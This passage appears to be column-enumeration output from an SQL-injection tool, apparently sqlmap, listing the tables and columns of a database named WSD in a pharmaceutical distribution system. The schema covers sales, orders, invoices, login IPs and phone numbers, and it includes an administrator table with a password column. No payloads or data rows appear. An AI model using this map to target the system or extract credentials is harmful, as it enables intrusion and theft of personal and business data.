| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: DC_BUF_002707330001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: LG_HIS
[5 columns]
+--------------+-----------+
| Column | Type |
+--------------+-----------+
| CUSTOMNAME | NVARCHAR2 |
| DEPTNO | NVARCHAR2 |
| EMPLOYEENAME | NVARCHAR2 |
| LOGIN_IP | NVARCHAR2 |
| LOGIN_NM | NUMBER |
+--------------+-----------+
Database: WSD
Table: PHONE
[3 columns]
+--------+----------+
| Column | Type |
+--------+----------+
| ID | NUMBER |
| NAME | VARCHAR2 |
| PHONE | VARCHAR2 |
+--------+----------+
Database: WSD
Table: BMS_SA_DTL
[87 columns]
+------------------+----------+
| Column | Type |
+------------------+----------+
| AGT_GENERATED | NUMBER |
| AGTFLAG | NUMBER |
| AGTRATE | NUMBER |
| AGTSTORAGEID | NUMBER |
| AGTSUPPLYID | NUMBER |
| ALLOWBACKFLAG | NUMBER |
| APPLYDTLID | NUMBER |
| APPROVEDAYSFLAG | NUMBER |
| BACKWHYID | NUMBER |
| CERTID | NUMBER |
| CORRECTCPLID | NUMBER |
| CORRECTFLAG | NUMBER |
| DISCMONEY | NUMBER |
| DISCOUNT | NUMBER |
| DONTRETURN | NUMBER |
| DTLMEMO | VARCHAR2 |
| GENAGTSUQTY | NUMBER |
| GFINVFLAG | NUMBER |
| GOODSAGTFLAG | NUMBER |
| GOODSDTLID | NUMBER |
| GOODSID | NUMBER |
| GOODSQTY | NUMBER |
| GOODSQTY1 | NUMBER |
| GOODSSORT | NUMBER |
| GOODSUNIT1 | VARCHAR2 |
| GOODSUSEQTY | NUMBER |
| GOODSUSEUNIT | VARCHAR2 |
| HOSSUPLID | VARCHAR2 |
| LASTLOTNO | VARCHAR2 |
| LASTPRICE | NUMBER |
| LTJGM | VARCHAR2 |
| NOTAXMONEY | NUMBER |
| ODDDEALTYPE | NUMBER |
| ORGQTY | NUMBER |
| PATCHQTY | NUMBER |
| PREDISCPRICE | NUMBER |
| PRERECDATE | DATE |
| PRERECDAYS | NUMBER |
| PRERECRESON | NUMBER |
| PRESENTDTLID | NUMBER |
| PRESENTQTY | NUMBER |
| PRICEID | NUMBER |
| PRICETYPE | NUMBER |
| PRINTLINE | NUMBER |
| PRINTMANID | NUMBER |
| PRINTNO | VARCHAR2 |
| PRINTTIME | DATE |
| REALPRICE | NUMBER |
| REALPRICEID | NUMBER |
| RECEDTLID | NUMBER |
| RESALEPRICE | NUMBER |
| SACONNO | VARCHAR2 |
| SALESDTLID | NUMBER |
| SALESID | NUMBER |
| SAOUTFLAG | NUMBER |
| SATYPEID | NUMBER |
| SETTLEFLAG | NUMBER |
| SETTLEMONEY | NUMBER |
| SETTLEQTY | NUMBER |
| SKIOFLAG | NUMBER |
| SPECIALBATCHFLAG | NUMBER |
| SPECIALLOTFLAG | NUMBER |
| SPECIALNEEDS | VARCHAR2 |
| SPLITQTY | NUMBER |
| STIOFLAG | NUMBER |
| STORAGEID | NUMBER |
| SUMQTY | NUMBER |
| TAXRATE | NUMBER |
| TIMEPRICE | NUMBER |
| TIMEPRICEID | NUMBER |
| TOTAL_LINE | NUMBER |
| UNITPRICE | NUMBER |
| USESTATUS | NUMBER |
| VALIDMSG | VARCHAR2 |
| WHOLESALEPRICE | NUMBER |
| ZBFLAG | NUMBER |
| ZXCOLUMN1 | VARCHAR2 |
| ZXCOLUMN10 | VARCHAR2 |
| ZXCOLUMN2 | VARCHAR2 |
| ZXCOLUMN3 | VARCHAR2 |
| ZXCOLUMN4 | VARCHAR2 |
| ZXCOLUMN5 | VARCHAR2 |
| ZXCOLUMN6 | VARCHAR2 |
| ZXCOLUMN7 | VARCHAR2 |
| ZXCOLUMN8 | VARCHAR2 |
| ZXCOLUMN9 | VARCHAR2 |
| ZXSTATUS | VARCHAR2 |
+------------------+----------+
Database: WSD
Table: TONGTIM_MSG_BAK
[29 columns]
+------------------+----------+
| Column | Type |
+------------------+----------+
| MSGDELIVEREDAT | DATE |
| MSGFAILEDTEXT | VARCHAR2 |
| MSGID | NUMBER |
| MSGPARAM1 | VARCHAR2 |
| MSGPARAM10 | VARCHAR2 |
| MSGPARAM11 | VARCHAR2 |
| MSGPARAM12 | VARCHAR2 |
| MSGPARAM13 | VARCHAR2 |
| MSGPARAM14 | VARCHAR2 |
| MSGPARAM15 | VARCHAR2 |
| MSGPARAM16 | VARCHAR2 |
| MSGPARAM17 | VARCHAR2 |
| MSGPARAM18 | VARCHAR2 |
| MSGPARAM19 | VARCHAR2 |
| MSGPARAM2 | VARCHAR2 |
| MSGPARAM20 | VARCHAR2 |
| MSGPARAM3 | VARCHAR2 |
| MSGPARAM4 | VARCHAR2 |
| MSGPARAM5 | VARCHAR2 |
| MSGPARAM6 | VARCHAR2 |
| MSGPARAM7 | VARCHAR2 |
| MSGPARAM8 | VARCHAR2 |
| MSGPARAM9 | VARCHAR2 |
| MSGQUEUEDAT | DATE |
| MSGQUEUEDATSEQNO | NUMBER |
| MSGSERVICEID | NUMBER |
| MSGSTATUS | VARCHAR2 |
| MSGTYPEID | NUMBER |
| OPERATIONTYPE | VARCHAR2 |
+------------------+----------+
Database: WSD
Table: DC_BUF_001301C30001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: DC_BUF_00190E1D0001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: DC_BUF_001D03BC0001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: PBCATTBL
[25 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| PBD_FCHR | NUMBER |
| PBD_FFCE | VARCHAR2 |
| PBD_FHGT | NUMBER |
| PBD_FITL | CHAR |
| PBD_FPTC | NUMBER |
| PBD_FUNL | CHAR |
| PBD_FWGT | NUMBER |
| PBH_FCHR | NUMBER |
| PBH_FFCE | VARCHAR2 |
| PBH_FHGT | NUMBER |
| PBH_FITL | CHAR |
| PBH_FPTC | NUMBER |
| PBH_FUNL | CHAR |
| PBH_FWGT | NUMBER |
| PBL_FCHR | NUMBER |
| PBL_FFCE | VARCHAR2 |
| PBL_FHGT | NUMBER |
| PBL_FITL | CHAR |
| PBL_FPTC | NUMBER |
| PBL_FUNL | CHAR |
| PBL_FWGT | NUMBER |
| PBT_CMNT | VARCHAR2 |
| PBT_OWNR | VARCHAR2 |
| PBT_TID | NUMBER |
| PBT_TNAM | VARCHAR2 |
+----------+----------+
Database: WSD
Table: BMS_GOODS_STATUS
[7 columns]
+---------------+----------+
| Column | Type |
+---------------+----------+
| GOODSSTATUS | VARCHAR2 |
| GOODSSTATUSID | NUMBER |
| LDSTATUS | NUMBER |
| PRIORITY | NUMBER |
| QUALITYSTATUS | NUMBER |
| USEFLAG | NUMBER |
| USESTATUS | NUMBER |
+---------------+----------+
Database: WSD
Table: PO_HEADER
[22 columns]
+------------------------------+----------+
| Column | Type |
+------------------------------+----------+
| BUSINESS_UNIT_ID | NUMBER |
| C_PO_HEADER_ID | NUMBER |
| COMPANY_CODE | VARCHAR2 |
| COOP_BUSINESS_GROUP | VARCHAR2 |
| COOP_COMPANY_CODE | VARCHAR2 |
| COOP_COMPANY_ID | NUMBER |
| HEADER_COMMENTS | VARCHAR2 |
| PO_NUMBER | VARCHAR2 |
| PO_TYPE | VARCHAR2 |
| PUR_BUYER_ID | NUMBER |
| PUR_BUYER_NAME | VARCHAR2 |
| RELEASE_DATE | DATE |
| REVISION_NUM | NUMBER |
| SHIP_TO_LOCATION_ADDRESS | VARCHAR2 |
| SHIP_TO_LOCATION_ID | NUMBER |
| SHIP_TO_ORGANIZATION_ADDRESS | VARCHAR2 |
| SHIP_TO_ORGANIZATION_ID | NUMBER |
| STATUS | VARCHAR2 |
| VENDOR_ID | NUMBER |
| VENDOR_SITE_ADDRESS | VARCHAR2 |
| VENDOR_SITE_ID | NUMBER |
| VENDOR_SITE_NAME | VARCHAR2 |
+------------------------------+----------+
Database: WSD
Table: ORDER_IMPORT_TMP
[8 columns]
+------------+----------+
| Column | Type |
+------------+----------+
| BUYPLANID | VARCHAR2 |
| CUSTOMERID | VARCHAR2 |
| GOODSID | VARCHAR2 |
| IMPORTTIME | DATE |
| QTY | VARCHAR2 |
| SALEID | VARCHAR2 |
| TOADDR | VARCHAR2 |
| YAOQIU | VARCHAR2 |
+------------+----------+
Database: WSD
Table: BMS_SA_INV_INFO
[11 columns]
+-----------------+----------+
| Column | Type |
+-----------------+----------+
| ACCNO | VARCHAR2 |
| ADDRESS | VARCHAR2 |
| BANKNAME | VARCHAR2 |
| COMPANYFUNCTION | NUMBER |
| CUSTOMID | NUMBER |
| INFOID | NUMBER |
| INVCOMPANYNAME | VARCHAR2 |
| MEMO | VARCHAR2 |
| PMFLAG | NUMBER |
| TAXNO | VARCHAR2 |
| TELEPHONE | VARCHAR2 |
+-----------------+----------+
Database: WSD
Table: TONGTIM_DATA
[21 columns]
+------------+----------+
| Column | Type |
+------------+----------+
| MSGPARAM1 | VARCHAR2 |
| MSGPARAM10 | VARCHAR2 |
| MSGPARAM11 | VARCHAR2 |
| MSGPARAM12 | VARCHAR2 |
| MSGPARAM13 | VARCHAR2 |
| MSGPARAM14 | VARCHAR2 |
| MSGPARAM15 | VARCHAR2 |
| MSGPARAM16 | VARCHAR2 |
| MSGPARAM17 | VARCHAR2 |
| MSGPARAM18 | VARCHAR2 |
| MSGPARAM19 | VARCHAR2 |
| MSGPARAM2 | VARCHAR2 |
| MSGPARAM20 | VARCHAR2 |
| MSGPARAM3 | VARCHAR2 |
| MSGPARAM4 | VARCHAR2 |
| MSGPARAM5 | VARCHAR2 |
| MSGPARAM6 | VARCHAR2 |
| MSGPARAM7 | VARCHAR2 |
| MSGPARAM8 | VARCHAR2 |
| MSGPARAM9 | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+------------+----------+
Database: WSD
Table: PRT_BMS_SA_WEBCON_DTL_BACK
[12 columns]
+-------------+----------+
| Column | Type |
+-------------+----------+
| DTLMEMO | VARCHAR2 |
| FACTORYNAME | VARCHAR2 |
| GOODSID | NUMBER |
| GOODSNAME | VARCHAR2 |
| GOODSQTY | NUMBER |
| GOODSTYPE | VARCHAR2 |
| GOODSUNIT | VARCHAR2 |
| PRICETYPE | VARCHAR2 |
| SALESDTLID | NUMBER |
| SALESID | NUMBER |
| TOTAL_LINE | NUMBER |
| UNITPRICE | NUMBER |
+-------------+----------+
Database: WSD
Table: YSJ_TEMP1
[1 column]
+--------+----------+
| Column | Type |
+--------+----------+
| USERID | VARCHAR2 |
+--------+----------+
Database: WSD
Table: DC_BUF_002D182C0001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: DC_BUF_000825240001
[10 columns]
+------------+----------+
| Column | Type |
+------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+------------+----------+
Database: WSD
Table: PUB_CUSTOM_SOURCE
[3 columns]
+-------------------+----------+
| Column | Type |
+-------------------+----------+
| CUSTOM_ID | NUMBER |
| SOURCE_ID | VARCHAR2 |
| TRANSPORT_ADDRESS | VARCHAR2 |
+-------------------+----------+
Database: WSD
Table: PUB_ADMIN
[5 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| ADMIN_ID | NUMBER |
| ADMIN_NAME | VARCHAR2 |
| ADMIN_PWD | VARCHAR2 |
| ADMIN_REMARK | VARCHAR2 |
| ADMIN_TYPE | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: ZX_CUSTOM_MEDPASSPERMIT
[11 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| CTRLMODE | NUMBER |
| CUSTOMID | NUMBER |
| CUSTOMSEQID2 | NUMBER |
| MEDBOUND | VARCHAR2 |
| MEDPERMITNO | VARCHAR2 |
| MEMO | VARCHAR2 |
| NAME2 | VARCHAR2 |
| PICPATH | VARCHAR2 |
| SEQID2 | NUMBER |
| USESTATUS | NUMBER |
| VALIDDATE | DATE |
+--------------+----------+
Database: WSD
Table: DC2_COLUMN_INITVALUE
[5 columns]
+-----------+----------+
| Column | Type |
+-----------+----------+
| CNAME | VARCHAR2 |
| COLNO | NUMBER |
| INITVALUE | VARCHAR2 |
| NODEID | NUMBER |
| TABLENAME | VARCHAR2 |
+-----------+----------+
Database: WSD
Table: DC_BUF_001621D90001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: ZX_TIE_ZHENGZHAO_CHECKRULE
[13 columns]
+-----------------+----------+
| Column | Type |
+-----------------+----------+
| CHECKITEM | NUMBER |
| CHECKRESULT | NUMBER |
| DESCRIPTION | VARCHAR2 |
| TIMECONTROL | NUMBER |
| TIMECONTROLITEM | VARCHAR2 |
| UPDATEMSG | NUMBER |
| UPDATEPHONEMSG | NUMBER |
| UPDATESYSMSG | NUMBER |
| ZZCHECKRULEID | NUMBER |
| ZZCODE | VARCHAR2 |
| ZZCONTROLMODE | VARCHAR2 |
| ZZNAME | VARCHAR2 |
| ZZTYPE | NUMBER |
+-----------------+----------+
Database: WSD
Table: ZX_SP_GOODS_CLASS
[3 columns]
+------------+--------+
| Column | Type |
+------------+--------+
| CREATEDATE | DATE |
| GOODSCLASS | NUMBER |
| GOODSID | NUMBER |
+------------+--------+
Database: WSD
Table: BMS_PR_CUSTOM
[22 columns]
+-----------------+----------+
| Column | Type |
+-----------------+----------+
| COPYDATA | NUMBER |
| CUSTOMID | NUMBER |
| CUSTOMNO | VARCHAR2 |
| DISCOUNT | NUMBER |
| EXECFLAG | NUMBER |
| GOODSID | NUMBER |
| GOODSNO | VARCHAR2 |
| INPUTMANDATE | DATE |
| INPUTMANID | NUMBER |
| MEMO | VARCHAR2 |
| MODIDATE | DATE |
| PRICE | NUMBER |
| PRICEID | NUMBER |
| PRID | NUMBER |
| PROTOCOLID | NUMBER |
| PUBFLAG | NUMBER |
| REALPRICEID | NUMBER |
| REFRENCEPRICE | NUMBER |
| REFRENCEPRICEID | NUMBER |
| REQUESTMANID | NUMBER |
| VALIDDATE | DATE |
| VALIDENDDATE | DATE |
+-----------------+----------+
Database: WSD
Table: DC2_INFORMATION_BUFFER
[2 columns]
+-------------+----------+
| Column | Type |
+-------------+----------+
| BUFFERID | NUMBER |
| INFORMATION | VARCHAR2 |
+-------------+----------+
Database: WSD
Table: ZX_ZZ_SUPPLY_ANNALS
[12 columns]
+----------------+----------+
| Column | Type |
+----------------+----------+
| AUDITDATE | DATE |
| AUDITMANID | NUMBER |
| CTRLMODE | NUMBER |
| INPUTDATE | DATE |
| INPUTMANID | NUMBER |
| INSPECTIONYEAR | NUMBER |
| NAMEC17 | VARCHAR2 |
| SEQ | NUMBER |
| SUPPLYID | NUMBER |
| USESTATUS | NUMBER |
| VALIDDATE | DATE |
| ZZSEQ | NUMBER |
+----------------+----------+
Database: WSD
Table: PO_LINE_LOCATION
[27 columns]
+-----------------------+----------+
| Column | Type |
+-----------------------+----------+
| AGENCY_CODE | VARCHAR2 |
| AGENCY_NAME | VARCHAR2 |
| C_ATTRIBUTE1 | VARCHAR2 |
| C_ATTRIBUTE2 | VARCHAR2 |
| C_PO_HEADER_ID | NUMBER |
| C_PO_LINE_ID | NUMBER |
| C_PO_LINE_LOCATION_ID | NUMBER |
| COMMON_NAME | VARCHAR2 |
| ITEM_CODE | VARCHAR2 |
| ITEM_MODEL | VARCHAR2 |
| ITEM_NAME | VARCHAR2 |
| ITEM_SPECS | VARCHAR2 |
| ITEM_TYPE | VARCHAR2 |
| LINE_COMMENTS | VARCHAR2 |
| LOTS_NUM | VARCHAR2 |
| LOTS_VALIDITY_DATE | DATE |
| MANUFACTURER_CODE | VARCHAR2 |
| MANUFACTURER_NAME | VARCHAR2 |
| NEED_BY_DATE | DATE |
| PO_LINE_NUM | NUMBER |
| PO_NUMBER | VARCHAR2 |
| PO_SHIPMENT_NUM | NUMBER |
| PRICE | NUMBER |
| QUANTITY | NUMBER |
| UOM_CODE | VARCHAR2 |
| VENDOR_ITEM_CODE | VARCHAR2 |
| VENDOR_ITEN_NAME | VARCHAR2 |
+-----------------------+----------+
Database: WSD
Table: XT_XLZZ_WSD
[3 columns]
+-----------+----------+
| Column | Type |
+-----------+----------+
| CREDATE | VARCHAR2 |
| SJC_COUNT | NUMBER |
| SJC_TYPE | VARCHAR2 |
+-----------+----------+
Database: WSD
Table: BMS_ST_IO_DTL_TMP
[28 columns]
+---------------+----------+
| Column | Type |
+---------------+----------+
| BATCHID | NUMBER |
| BATCHID1 | NUMBER |
| DTLGOODSQTY | NUMBER |
| DTLPRINTLINE | NUMBER |
| DTLPRINTMANID | NUMBER |
| DTLPRINTNO | VARCHAR2 |
| DTLPRINTTIME | DATE |
| GOODSDTLID | NUMBER |
| GOODSSTATUSID | NUMBER |
| GOODSUSEQTY | NUMBER |
| GSPFLAG | NUMBER |
| INOUTID | NUMBER |
| IODTLID | NUMBER |
| LOTID | NUMBER |
| LOTID1 | NUMBER |
| PICKDOCID | NUMBER |
| POSID | NUMBER |
| RECBUSIFLAG | NUMBER |
| ZXCOLUMN1 | VARCHAR2 |
| ZXCOLUMN10 | VARCHAR2 |
| ZXCOLUMN2 | VARCHAR2 |
| ZXCOLUMN3 | VARCHAR2 |
| ZXCOLUMN4 | VARCHAR2 |
| ZXCOLUMN5 | VARCHAR2 |
| ZXCOLUMN6 | VARCHAR2 |
| ZXCOLUMN7 | VARCHAR2 |
| ZXCOLUMN8 | VARCHAR2 |
| ZXCOLUMN9 | VARCHAR2 |
+---------------+----------+
Database: WSD
Table: DC2_LOG_TABLE_COLUMN
[4 columns]
+-----------+----------+
| Column | Type |
+-----------+----------+
| CNAME | VARCHAR2 |
| COLNO | NUMBER |
| NODEID | NUMBER |
| TABLENAME | VARCHAR2 |
+-----------+----------+
Database: WSD
Table: DC_BUF_001D14020001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: DC_BUF_002201E60001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: ZX_CUSTOM_MEDMASSPERMIT
[11 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| CTRLMODE | NUMBER |
| CUSTOMID | NUMBER |
| CUSTOMSEQID4 | NUMBER |
| GSPBOUND | VARCHAR2 |
| GSPNO | VARCHAR2 |
| MEMO | VARCHAR2 |
| NAME4 | VARCHAR2 |
| PICPATH | VARCHAR2 |
| SEQID4 | NUMBER |
| USESTATUS | NUMBER |
| VALIDDATE | DATE |
+--------------+----------+
Database: WSD
Table: DC2_DATA_DTL
[2 columns]
+--------+--------+
| Column | Type |
+--------+--------+
| DATAID | NUMBER |
| NODEID | NUMBER |
+--------+--------+
Database: WSD
Table: DC_BUF_0016096F0001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: WLS_SAL_APPLY
[23 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| BILLQTY | NUMBER |
| BIZDATE | DATE |
| CREDATE | DATE |
| CSTCODE | VARCHAR2 |
| CSTNAME | VARCHAR2 |
| EXPFLAG | VARCHAR2 |
| GOODENAME | VARCHAR2 |
| GOODGNAME | VARCHAR2 |
| GOODNAME | VARCHAR2 |
| GOODS | VARCHAR2 |
| ID | NUMBER |
| INBILLDATE | DATE |
| INBILLNO | VARCHAR2 |
| INBILLSEQ | VARCHAR2 |
| MARK | VARCHAR2 |
| MSUNITNO | VARCHAR2 |
| PACKNUM | NUMBER |
| PRC | NUMBER |
| PRODUCER | VARCHAR2 |
| SENDADDR | VARCHAR2 |
| SENDADDRCODE | VARCHAR2 |
| SPEC | VARCHAR2 |
| SUPPLIERID | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: DC_BUF_000C00180001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: PUB_FACTORY
[10 columns]
+---------------+----------+
| Column | Type |
+---------------+----------+
| COMPANYFLAG | NUMBER |
| COPYDATA | NUMBER |
| FACTORYID | NUMBER |
| FACTORYNAME | VARCHAR2 |
| FACTORYNO | VARCHAR2 |
| FACTORYOPCODE | VARCHAR2 |
| FACTORYPINYIN | VARCHAR2 |
| MEMO | VARCHAR2 |
| PUBFLAG | NUMBER |
| USESTATUS | NUMBER |
+---------------+----------+
Database: WSD
Table: DC_BUF_003E06E00001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: BMS_SA_DOC
[70 columns]
+--------------------+----------+
| Column | Type |
+--------------------+----------+
| AGT_GENERATED | NUMBER |
| AGTFLAG | NUMBER |
| ALLOWDAYS | NUMBER |
| ALLOWTOTAL | NUMBER |
| AREA | VARCHAR2 |
| CHECKDATE | DATE |
| CHECKFLAG | NUMBER |
| CHECKMANID | NUMBER |
| CREDATE | DATE |
| CREDAYS | NUMBER |
| CREDAYSAPPROVEFLAG | NUMBER |
| CREDAYSAPPROVEID | NUMBER |
| CREDAYSDATE | DATE |
| CREDIT | NUMBER |
| CREDITAPPROVEFLAG | NUMBER |
| CREDITAPPROVEID | NUMBER |
| CREDITMETHOD | NUMBER |
| CREDTIAPPORVEDATE | DATE |
| CUSTOMID | NUMBER |
| CUSTOMNAME | VARCHAR2 |
| DELIVERMETHOD | NUMBER |
| DOCSTATUS | NUMBER |
| DTL_LINES | NUMBER |
| EMAGCFLAG | NUMBER |
| ENTRYID | NUMBER |
| EXCHANGE | NUMBER |
| FIX_MODE | NUMBER |
| FMID | NUMBER |
| INITFLAG | NUMBER |
| INPUTMANID | NUMBER |
| INVTYPE | NUMBER |
| ISAUTO | NUMBER |
| MEMO | VARCHAR2 |
| MIDPOSID | NUMBER |
| ORID | NUMBER |
| OVERDAYS | NUMBER |
| PAYRECDAYS | NUMBER |
| POSID | NUMBER |
| RECEDOCID | NUMBER |
| SA_MODE | NUMBER |
| SACONNO | VARCHAR2 |
| SADEPTID | NUMBER |
| SALERID | NUMBER |
| SALESDEPTID | NUMBER |
| SALESID | NUMBER |
| SATYPEID | NUMBER |
| SETTLETYPEID | NUMBER |
| STSETID | NUMBER |
| TARGETDATE | DATE |
| TARGETPOSID | NUMBER |
| TICK_MODE | NUMBER |
| TOTAL | NUMBER |
| TRANCOSTRATE | NUMBER |
| TRANMETHODID | NUMBER |
| TRANPOSNAME | VARCHAR2 |
| TRANPRIORITY | NUMBER |
| TRANSPOSADRESS | VARCHAR2 |
| URGENTFLAG | NUMBER |
| VMISETDOCID | VARCHAR2 |
| ZXCOLUMN1 | VARCHAR2 |
| ZXCOLUMN10 | VARCHAR2 |
| ZXCOLUMN2 | VARCHAR2 |
| ZXCOLUMN3 | VARCHAR2 |
| ZXCOLUMN4 | VARCHAR2 |
| ZXCOLUMN5 | VARCHAR2 |
| ZXCOLUMN6 | VARCHAR2 |
| ZXCOLUMN7 | VARCHAR2 |
| ZXCOLUMN8 | VARCHAR2 |
| ZXCOLUMN9 | VARCHAR2 |
| ZXDELIVER | VARCHAR2 |
+--------------------+----------+
Database: WSD
Table: DC_BUF_000911FF0001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: DC_BUF_001342600001
[12 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| SQL | VARCHAR2 |
| CPID | NUMBER |
| CREDATE | DATE |
| DATAID | NUMBER |
| ERRORFLAG | NUMBER |
| ERRORMESSAGE | VARCHAR2 |
| FROMNODEID | NUMBER |
| KEYSTRING | VARCHAR2 |
| OP | VARCHAR2 |
| REFRESHID | NUMBER |
| SID | VARCHAR2 |
| TABLENAME | VARCHAR2 |
+--------------+----------+
Database: WSD
Table: PUB_CUSTOM_TO_SALER
[5 columns]
+-------------+--------+
| Column | Type |
+-------------+--------+
| CHARSALERID | NUMBER |
| CUSTOMID | NUMBER |
| PUBFLAG | NUMBER |
| SALERID | NUMBER |
| STATUS | NUMBER |
+-------------+--------+
Database: WSD
Table: PUB_MOBILEPHONE
[6 columns]
+-------------+----------+
| Column | Type |
+-------------+----------+
| COLLIGATION | VARCHAR2 |
| MOBILEPHONE | VARCHAR2 |
| STATUS | NUMBER |
| TYPE | NUMBER |
| USERID | NUMBER |
| USERNAME | VARCHAR2 |
+-------------+----------+
Database: WSD
Table: BMS_TR_POS_DEF
[19 columns]
+-------------+----------+
| Column | Type |
+-------------+----------+
| ADDRESS | VARCHAR2 |
| COMPANYID | NUMBER |
| CONTRACTMAN | VARCHAR2 |
| DAYS | NUMBER |
| DEPTID | NUMBER |
| DISTANCE | NUMBER |
| FAX | VARCHAR2 |
| MEMO | VARCHAR2 |
| POSORDER | NUMBER |
| POSTCODE | VARCHAR2 |
| ROADID | NUMBER |
| TELEGRAPH | VARCHAR2 |
| TELEPHONE | VARCHAR2 |
| TRANPOSID | NUMBER |
